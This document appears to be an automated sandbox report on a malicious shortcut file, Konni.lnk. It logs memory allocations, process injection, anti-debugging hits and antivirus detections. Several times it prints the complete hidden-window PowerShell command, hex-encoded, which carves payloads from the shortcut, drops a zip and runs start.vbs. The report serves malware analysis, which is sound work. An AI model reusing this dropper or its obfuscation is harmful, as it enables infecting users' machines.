allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 292
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x02722000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 292
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x02735000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 292
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x026c5000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 292
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x0272c000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 292
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x028b0000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 292
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x026c6000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 292
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x0273c000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 292
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x02723000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 292
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x02724000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 292
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x02725000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 292
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x02726000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 292
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x02727000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 292
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x02728000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 292
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x02729000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 292
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x029e0000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 292
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x029e1000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 292
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x029e2000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 292
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x029e3000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 292
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x029e4000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 292
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x029e5000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 292
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x029e6000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 292
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x029e7000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 292
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x029e8000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 292
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x029e9000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 292
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x029ea000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 292
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x029eb000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 292
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x029ec000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 292
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x029ed000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 292
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x029ee000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 292
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x029ef000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 292
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x02ad0000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 292
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x02ad1000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 292
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x02ad2000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 292
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x02ad3000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 292
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x02ad4000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0
file C:\Users\test22\AppData\Local\Temp\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk
file C:\Users\test22\AppData\Local\Temp\Konni.lnk
cmdline powershell -windowstyle hidden $wonders=\"`$temple='66756E6374696F6E2070436248536A72736F75714B282464637A507843774849634265524F297B244F64714F58736E67533D39353637333B2459426A615267657746437A3D244E756C6C3B666F72656163682824504E4F6650644D4D6A4D4C6969464820696E202464637A507843774849634265524F297B2459426A615267657746437A2B3D5B636861725D2824504E4F6650644D4D6A4D4C696946482D244F64714F58736E6753297D3B72657475726E202459426A615267657746437A7D3B24586B6A526F6C576A485853203D204765742D4C6F636174696F6E3B244B6A516B486A515056203D204765742D4368696C644974656D202D506174682024586B6A526F6C576A485853202D52656375727365202A2E6C6E6B207C2077686572652D6F626A656374207B245F2E6C656E677468202D657120307833343346433243397D207C2053656C6563742D4F626A656374202D457870616E6450726F70657274792046756C6C4E616D653B696628244B6A516B486A5150562E6C656E677468202D6571203029207B24586B6A526F6C576A485853203D2024656E763A54656D703B244B6A516B486A515056203D204765742D4368696C644974656D202D506174682024586B6A526F6C576A485853202D52656375727365202A2E6C6E6B207C2077686572652D6F626A656374207B245F2E6C656E677468202D657120307833343346433243397D207C2053656C6563742D4F626A656374202D457870616E6450726F70657274792046756C6C4E616D653B7D3B24586B6A526F6C576A485853203D2053706C69742D5061746820244B6A516B486A5150563B24696C4A42744C6956757078527A6664203D204E65772D4F626A6563742053797374656D2E494F2E46696C6553747265616D28244B6A516B486A5150562C205B53797374656D2E494F2E46696C654D6F64655D3A3A4F70656E2C205B53797374656D2E494F2E46696C654163636573735D3A3A52656164293B24696C4A42744C6956757078527A66642E5365656B28302C205B53797374656D2E494F2E5365656B4F726967696E5D3A3A426567696E293B24696C4A42744C6956757078527A66642E5365656B28307830303030323643342C205B53797374656D2E494F2E5365656B4F726967696E5D3A3A426567696E293B24656B53764E67496A5564574A68596746203D204E65772D4F626A65637420627974655B5D20307830303030433830303B24696C4A42744C6956757078527A66642E526561642824656B53764E67496A5564574A685967462C20302C2030783030303043383030293B246F7150736B4F756E74556D6E203D2024586B6A526F6C576A485853202B20275C27202B205B72656765785D3A3A756E65736361706528275C75414331305C75433831355C75443343395C75414330305C75303032305C75433245345C75433244435C75433544305C75303032305C75423533305C75423937385C75303032305C75443631315C75433837305C75303032305C75433534385C75423042345C75303032455C75303036385C75303037375C753030373027293B736320246F7150736B4F756E74556D6E2024656B53764E67496A5564574A68596746202D456E636F64696E6720427974653B2620246F7150736B4F756E74556D6E3B24696C4A42744C6956757078527A66642E5365656B28307830303030454543342C205B53797374656D2E494F2E5365656B4F726967696E5D3A3A426567696E293B24485556506E466F7667614661756B64433D4E65772D4F626A65637420627974655B5D20307830303031343430303B24696C4A42744C6956757078527A66642E526561642824485556506E466F7667614661756B64432C20302C2030783030303134343030293B24696C4A42744C6956757078527A66642E436C6F736528293B52656D6F76652D4974656D202D5061746820244B6A516B486A515056202D466F7263653B246F657178734E7A736C3D24656E763A7075626C6963202B20275C27202B202732343537372E7A6970273B736320246F657178734E7A736C2024485556506E466F7667614661756B6443202D456E636F64696E6720427974653B24464F415575435954706C5772203D206E65772D6F626A656374202D636F6D207368656C6C2E6170706C69636174696F6E3B24446867764E66656D5876524E46664657203D2024464F415575435954706C57722E4E616D65737061636528246F657178734E7A736C293B24464F415575435954706C57722E4E616D6573706163652824656E763A7075626C6963202B20275C27202B2027646F63756D656E747327292E436F7079486572652824446867764E66656D5876524E466646572E6974656D7328292C203130343429207C206F75742D6E756C6C3B72656D6F76652D6974656D202D7061746820246F657178734E7A736C202D666F7263653B244A696C67694D485A53423D24656E763A7075626C69632B275C646F63756D656E74735C73746172742E766273273B2620244A696C67694D485A53423B';`$martin='';for(`$i=0;`$i -le `$temple.Length-2;`$i=`$i+2){`$Sorre=`$temple[`$i]+`$temple[`$i+1];`$martin= `$martin+[char]([convert]::toint16(`$Sorre,16));};Invoke-Command -ScriptBlock ([Scriptblock]::Create(`$martin));\";Invoke-Command -ScriptBlock ([Scriptblock]::Create($wonders));
cmdline "C:\Windows\system32\cmd.exe" /c powershell -windowstyle hidden $wonders=\"`$temple='66756E6374696F6E2070436248536A72736F75714B282464637A507843774849634265524F297B244F64714F58736E67533D39353637333B2459426A615267657746437A3D244E756C6C3B666F72656163682824504E4F6650644D4D6A4D4C6969464820696E202464637A507843774849634265524F297B2459426A615267657746437A2B3D5B636861725D2824504E4F6650644D4D6A4D4C696946482D244F64714F58736E6753297D3B72657475726E202459426A615267657746437A7D3B24586B6A526F6C576A485853203D204765742D4C6F636174696F6E3B244B6A516B486A515056203D204765742D4368696C644974656D202D506174682024586B6A526F6C576A485853202D52656375727365202A2E6C6E6B207C2077686572652D6F626A656374207B245F2E6C656E677468202D657120307833343346433243397D207C2053656C6563742D4F626A656374202D457870616E6450726F70657274792046756C6C4E616D653B696628244B6A516B486A5150562E6C656E677468202D6571203029207B24586B6A526F6C576A485853203D2024656E763A54656D703B244B6A516B486A515056203D204765742D4368696C644974656D202D506174682024586B6A526F6C576A485853202D52656375727365202A2E6C6E6B207C2077686572652D6F626A656374207B245F2E6C656E677468202D657120307833343346433243397D207C2053656C6563742D4F626A656374202D457870616E6450726F70657274792046756C6C4E616D653B7D3B24586B6A526F6C576A485853203D2053706C69742D5061746820244B6A516B486A5150563B24696C4A42744C6956757078527A6664203D204E65772D4F626A6563742053797374656D2E494F2E46696C6553747265616D28244B6A516B486A5150562C205B53797374656D2E494F2E46696C654D6F64655D3A3A4F70656E2C205B53797374656D2E494F2E46696C654163636573735D3A3A52656164293B24696C4A42744C6956757078527A66642E5365656B28302C205B53797374656D2E494F2E5365656B4F726967696E5D3A3A426567696E293B24696C4A42744C6956757078527A66642E5365656B28307830303030323643342C205B53797374656D2E494F2E5365656B4F726967696E5D3A3A426567696E293B24656B53764E67496A5564574A68596746203D204E65772D4F626A65637420627974655B5D20307830303030433830303B24696C4A42744C6956757078527A66642E526561642824656B53764E67496A5564574A685967462C20302C2030783030303043383030293B246F7150736B4F756E74556D6E203D2024586B6A526F6C576A485853202B20275C27202B205B72656765785D3A3A756E65736361706528275C75414331305C75433831355C75443343395C75414330305C75303032305C75433245345C75433244435C75433544305C75303032305C75423533305C75423937385C75303032305C75443631315C75433837305C75303032305C75433534385C75423042345C75303032455C75303036385C75303037375C753030373027293B736320246F7150736B4F756E74556D6E2024656B53764E67496A5564574A68596746202D456E636F64696E6720427974653B2620246F7150736B4F756E74556D6E3B24696C4A42744C6956757078527A66642E5365656B28307830303030454543342C205B53797374656D2E494F2E5365656B4F726967696E5D3A3A426567696E293B24485556506E466F7667614661756B64433D4E65772D4F626A65637420627974655B5D20307830303031343430303B24696C4A42744C6956757078527A66642E526561642824485556506E466F7667614661756B64432C20302C2030783030303134343030293B24696C4A42744C6956757078527A66642E436C6F736528293B52656D6F76652D4974656D202D5061746820244B6A516B486A515056202D466F7263653B246F657178734E7A736C3D24656E763A7075626C6963202B20275C27202B202732343537372E7A6970273B736320246F657178734E7A736C2024485556506E466F7667614661756B6443202D456E636F64696E6720427974653B24464F415575435954706C5772203D206E65772D6F626A656374202D636F6D207368656C6C2E6170706C69636174696F6E3B24446867764E66656D5876524E46664657203D2024464F415575435954706C57722E4E616D65737061636528246F657178734E7A736C293B24464F415575435954706C57722E4E616D6573706163652824656E763A7075626C6963202B20275C27202B2027646F63756D656E747327292E436F7079486572652824446867764E66656D5876524E466646572E6974656D7328292C203130343429207C206F75742D6E756C6C3B72656D6F76652D6974656D202D7061746820246F657178734E7A736C202D666F7263653B244A696C67694D485A53423D24656E763A7075626C69632B275C646F63756D656E74735C73746172742E766273273B2620244A696C67694D485A53423B';`$martin='';for(`$i=0;`$i -le `$temple.Length-2;`$i=`$i+2){`$Sorre=`$temple[`$i]+`$temple[`$i+1];`$martin= `$martin+[char]([convert]::toint16(`$Sorre,16));};Invoke-Command -ScriptBlock ([Scriptblock]::Create(`$martin));\";Invoke-Command -ScriptBlock ([Scriptblock]::Create($wonders));
Time & API Arguments Status Return Repeated

CreateProcessInternalW

 thread_identifier: 2104
thread_handle: 0x00000334
process_identifier: 2228
current_directory: C:\Users\test22\AppData\Local\Temp
filepath: C:\Windows\System32\cmd.exe
track: 1
command_line: "C:\Windows\system32\cmd.exe" /c powershell -windowstyle hidden $wonders=\"`$temple='66756E6374696F6E2070436248536A72736F75714B282464637A507843774849634265524F297B244F64714F58736E67533D39353637333B2459426A615267657746437A3D244E756C6C3B666F72656163682824504E4F6650644D4D6A4D4C6969464820696E202464637A507843774849634265524F297B2459426A615267657746437A2B3D5B636861725D2824504E4F6650644D4D6A4D4C696946482D244F64714F58736E6753297D3B72657475726E202459426A615267657746437A7D3B24586B6A526F6C576A485853203D204765742D4C6F636174696F6E3B244B6A516B486A515056203D204765742D4368696C644974656D202D506174682024586B6A526F6C576A485853202D52656375727365202A2E6C6E6B207C2077686572652D6F626A656374207B245F2E6C656E677468202D657120307833343346433243397D207C2053656C6563742D4F626A656374202D457870616E6450726F70657274792046756C6C4E616D653B696628244B6A516B486A5150562E6C656E677468202D6571203029207B24586B6A526F6C576A485853203D2024656E763A54656D703B244B6A516B486A515056203D204765742D4368696C644974656D202D506174682024586B6A526F6C576A485853202D52656375727365202A2E6C6E6B207C2077686572652D6F626A656374207B245F2E6C656E677468202D657120307833343346433243397D207C2053656C6563742D4F626A656374202D457870616E6450726F70657274792046756C6C4E616D653B7D3B24586B6A526F6C576A485853203D2053706C69742D5061746820244B6A516B486A5150563B24696C4A42744C6956757078527A6664203D204E65772D4F626A6563742053797374656D2E494F2E46696C6553747265616D28244B6A516B486A5150562C205B53797374656D2E494F2E46696C654D6F64655D3A3A4F70656E2C205B53797374656D2E494F2E46696C654163636573735D3A3A52656164293B24696C4A42744C6956757078527A66642E5365656B28302C205B53797374656D2E494F2E5365656B4F726967696E5D3A3A426567696E293B24696C4A42744C6956757078527A66642E5365656B28307830303030323643342C205B53797374656D2E494F2E5365656B4F726967696E5D3A3A426567696E293B24656B53764E67496A5564574A68596746203D204E65772D4F626A65637420627974655B5D20307830303030433830303B24696C4A42744C6956757078527A66642E526561642824656B53764E67496A5564574A685967462C20302C2030783030303043383030293B246F7150736B4F756E74556D6E203D2024586B6A526F6C576A485853202B20275C27202B205B72656765785D3A3A756E65736361706528275C75414331305C75433831355C75443343395C75414330305C75303032305C75433245345C75433244435C75433544305C75303032305C75423533305C75423937385C75303032305C75443631315C75433837305C75303032305C75433534385C75423042345C75303032455C75303036385C75303037375C753030373027293B736320246F7150736B4F756E74556D6E2024656B53764E67496A5564574A68596746202D456E636F64696E6720427974653B2620246F7150736B4F756E74556D6E3B24696C4A42744C6956757078527A66642E5365656B28307830303030454543342C205B53797374656D2E494F2E5365656B4F726967696E5D3A3A426567696E293B24485556506E466F7667614661756B64433D4E65772D4F626A65637420627974655B5D20307830303031343430303B24696C4A42744C6956757078527A66642E526561642824485556506E466F7667614661756B64432C20302C2030783030303134343030293B24696C4A42744C6956757078527A66642E436C6F736528293B52656D6F76652D4974656D202D5061746820244B6A516B486A515056202D466F7263653B246F657178734E7A736C3D24656E763A7075626C6963202B20275C27202B202732343537372E7A6970273B736320246F657178734E7A736C2024485556506E466F7667614661756B6443202D456E636F64696E6720427974653B24464F415575435954706C5772203D206E65772D6F626A656374202D636F6D207368656C6C2E6170706C69636174696F6E3B24446867764E66656D5876524E46664657203D2024464F415575435954706C57722E4E616D65737061636528246F657178734E7A736C293B24464F415575435954706C57722E4E616D6573706163652824656E763A7075626C6963202B20275C27202B2027646F63756D656E747327292E436F7079486572652824446867764E66656D5876524E466646572E6974656D7328292C203130343429207C206F75742D6E756C6C3B72656D6F76652D6974656D202D7061746820246F657178734E7A736C202D666F7263653B244A696C67694D485A53423D24656E763A7075626C69632B275C646F63756D656E74735C73746172742E766273273B2620244A696C67694D485A53423B';`$martin='';for(`$i=0;`$i -le `$temple.Length-2;`$i=`$i+2){`$Sorre=`$temple[`$i]+`$temple[`$i+1];`$martin= `$martin+[char]([convert]::toint16(`$Sorre,16));};Invoke-Command -ScriptBlock ([Scriptblock]::Create(`$martin));\";Invoke-Command -ScriptBlock ([Scriptblock]::Create($wonders));
filepath_r: C:\Windows\system32\cmd.exe
stack_pivoted: 0
creation_flags: 67634196 (CREATE_DEFAULT_ERROR_MODE|CREATE_NEW_CONSOLE|CREATE_SUSPENDED|CREATE_UNICODE_ENVIRONMENT|EXTENDED_STARTUPINFO_PRESENT)
inherit_handles: 0
process_handle: 0x0000033c
1 1 0

CreateProcessInternalW

 thread_identifier: 2348
thread_handle: 0x00000084
process_identifier: 292
current_directory: C:\Users\test22\AppData\Local\Temp
filepath: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
track: 1
command_line: powershell -windowstyle hidden $wonders=\"`$temple='66756E6374696F6E2070436248536A72736F75714B282464637A507843774849634265524F297B244F64714F58736E67533D39353637333B2459426A615267657746437A3D244E756C6C3B666F72656163682824504E4F6650644D4D6A4D4C6969464820696E202464637A507843774849634265524F297B2459426A615267657746437A2B3D5B636861725D2824504E4F6650644D4D6A4D4C696946482D244F64714F58736E6753297D3B72657475726E202459426A615267657746437A7D3B24586B6A526F6C576A485853203D204765742D4C6F636174696F6E3B244B6A516B486A515056203D204765742D4368696C644974656D202D506174682024586B6A526F6C576A485853202D52656375727365202A2E6C6E6B207C2077686572652D6F626A656374207B245F2E6C656E677468202D657120307833343346433243397D207C2053656C6563742D4F626A656374202D457870616E6450726F70657274792046756C6C4E616D653B696628244B6A516B486A5150562E6C656E677468202D6571203029207B24586B6A526F6C576A485853203D2024656E763A54656D703B244B6A516B486A515056203D204765742D4368696C644974656D202D506174682024586B6A526F6C576A485853202D52656375727365202A2E6C6E6B207C2077686572652D6F626A656374207B245F2E6C656E677468202D657120307833343346433243397D207C2053656C6563742D4F626A656374202D457870616E6450726F70657274792046756C6C4E616D653B7D3B24586B6A526F6C576A485853203D2053706C69742D5061746820244B6A516B486A5150563B24696C4A42744C6956757078527A6664203D204E65772D4F626A6563742053797374656D2E494F2E46696C6553747265616D28244B6A516B486A5150562C205B53797374656D2E494F2E46696C654D6F64655D3A3A4F70656E2C205B53797374656D2E494F2E46696C654163636573735D3A3A52656164293B24696C4A42744C6956757078527A66642E5365656B28302C205B53797374656D2E494F2E5365656B4F726967696E5D3A3A426567696E293B24696C4A42744C6956757078527A66642E5365656B28307830303030323643342C205B53797374656D2E494F2E5365656B4F726967696E5D3A3A426567696E293B24656B53764E67496A5564574A68596746203D204E65772D4F626A65637420627974655B5D20307830303030433830303B24696C4A42744C6956757078527A66642E526561642824656B53764E67496A5564574A685967462C20302C2030783030303043383030293B246F7150736B4F756E74556D6E203D2024586B6A526F6C576A485853202B20275C27202B205B72656765785D3A3A756E65736361706528275C75414331305C75433831355C75443343395C75414330305C75303032305C75433245345C75433244435C75433544305C75303032305C75423533305C75423937385C75303032305C75443631315C75433837305C75303032305C75433534385C75423042345C75303032455C75303036385C75303037375C753030373027293B736320246F7150736B4F756E74556D6E2024656B53764E67496A5564574A68596746202D456E636F64696E6720427974653B2620246F7150736B4F756E74556D6E3B24696C4A42744C6956757078527A66642E5365656B28307830303030454543342C205B53797374656D2E494F2E5365656B4F726967696E5D3A3A426567696E293B24485556506E466F7667614661756B64433D4E65772D4F626A65637420627974655B5D20307830303031343430303B24696C4A42744C6956757078527A66642E526561642824485556506E466F7667614661756B64432C20302C2030783030303134343030293B24696C4A42744C6956757078527A66642E436C6F736528293B52656D6F76652D4974656D202D5061746820244B6A516B486A515056202D466F7263653B246F657178734E7A736C3D24656E763A7075626C6963202B20275C27202B202732343537372E7A6970273B736320246F657178734E7A736C2024485556506E466F7667614661756B6443202D456E636F64696E6720427974653B24464F415575435954706C5772203D206E65772D6F626A656374202D636F6D207368656C6C2E6170706C69636174696F6E3B24446867764E66656D5876524E46664657203D2024464F415575435954706C57722E4E616D65737061636528246F657178734E7A736C293B24464F415575435954706C57722E4E616D6573706163652824656E763A7075626C6963202B20275C27202B2027646F63756D656E747327292E436F7079486572652824446867764E66656D5876524E466646572E6974656D7328292C203130343429207C206F75742D6E756C6C3B72656D6F76652D6974656D202D7061746820246F657178734E7A736C202D666F7263653B244A696C67694D485A53423D24656E763A7075626C69632B275C646F63756D656E74735C73746172742E766273273B2620244A696C67694D485A53423B';`$martin='';for(`$i=0;`$i -le `$temple.Length-2;`$i=`$i+2){`$Sorre=`$temple[`$i]+`$temple[`$i+1];`$martin= `$martin+[char]([convert]::toint16(`$Sorre,16));};Invoke-Command -ScriptBlock ([Scriptblock]::Create(`$martin));\";Invoke-Command -ScriptBlock ([Scriptblock]::Create($wonders));
filepath_r: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
stack_pivoted: 0
creation_flags: 524288 (EXTENDED_STARTUPINFO_PRESENT)
inherit_handles: 1
process_handle: 0x00000088
1 1 0
Time & API Arguments Status Return Repeated

LookupPrivilegeValueW

 system_name:
privilege_name: SeDebugPrivilege
1 1 0
description (no description) rule DebuggerCheck__GlobalFlags
description (no description) rule DebuggerCheck__QueryInfo
description (no description) rule DebuggerHiding__Thread
description (no description) rule DebuggerHiding__Active
description (no description) rule DebuggerException__SetConsoleCtrl
description (no description) rule ThreadControl__Context
description (no description) rule SEH__vectored
description Checks if being debugged rule anti_dbg
description Bypass DEP rule disable_dep
Process injection Process 3060 resumed a thread in remote process 2228
Time & API Arguments Status Return Repeated

NtResumeThread

 thread_handle: 0x00000334
suspend_count: 1
process_identifier: 2228
1 0 0
option -windowstyle hidden value Attempts to execute command with a hidden window
option -windowstyle hidden value Attempts to execute command with a hidden window
file C:\Windows\System32\ie4uinit.exe
file C:\Program Files\Windows Sidebar\sidebar.exe
file C:\Windows\System32\WindowsAnytimeUpgradeUI.exe
file C:\Windows\System32\xpsrchvw.exe
file C:\Windows\System32\displayswitch.exe
file C:\Program Files\Common Files\Microsoft Shared\ink\mip.exe
file C:\Windows\System32\mblctr.exe
file C:\Windows\System32\mstsc.exe
file C:\Windows\System32\SnippingTool.exe
file C:\Windows\System32\SoundRecorder.exe
file C:\Windows\System32\dfrgui.exe
file C:\Windows\System32\msinfo32.exe
file C:\Windows\System32\rstrui.exe
file C:\Program Files\Common Files\Microsoft Shared\ink\ShapeCollector.exe
file C:\Program Files\Windows Journal\Journal.exe
file C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
file C:\Windows\System32\MdSched.exe
file C:\Windows\System32\msconfig.exe
file C:\Windows\System32\recdisc.exe
file C:\Windows\System32\msra.exe
ClamAV Lnk.Trojan.Qakbot-9977832-1
Sangfor Trojan.Generic-LNK.Save.e2d78363
Symantec CL.Downloader!gen211
ESET-NOD32 PowerShell/Agent.AGJ
Kaspersky HEUR:Trojan.WinLNK.Powecod.d
BitDefender Heur.BZC.YAX.Boxter.562.E937F8DA
MicroWorld-eScan Heur.BZC.YAX.Boxter.562.E937F8DA
Emsisoft Heur.BZC.YAX.Boxter.562.E937F8DA (B)
VIPRE Heur.BZC.YAX.Boxter.562.E937F8DA
FireEye Heur.BZC.YAX.Boxter.562.E937F8DA
Sophos Troj/LnkObf-L
GData Heur.BZC.YAX.Boxter.562.E937F8DA
MAX malware (ai score=85)
Arcabit Heur.BZC.YAX.Boxter.562.E937F8DA
ZoneAlarm HEUR:Trojan.WinLNK.Powecod.d
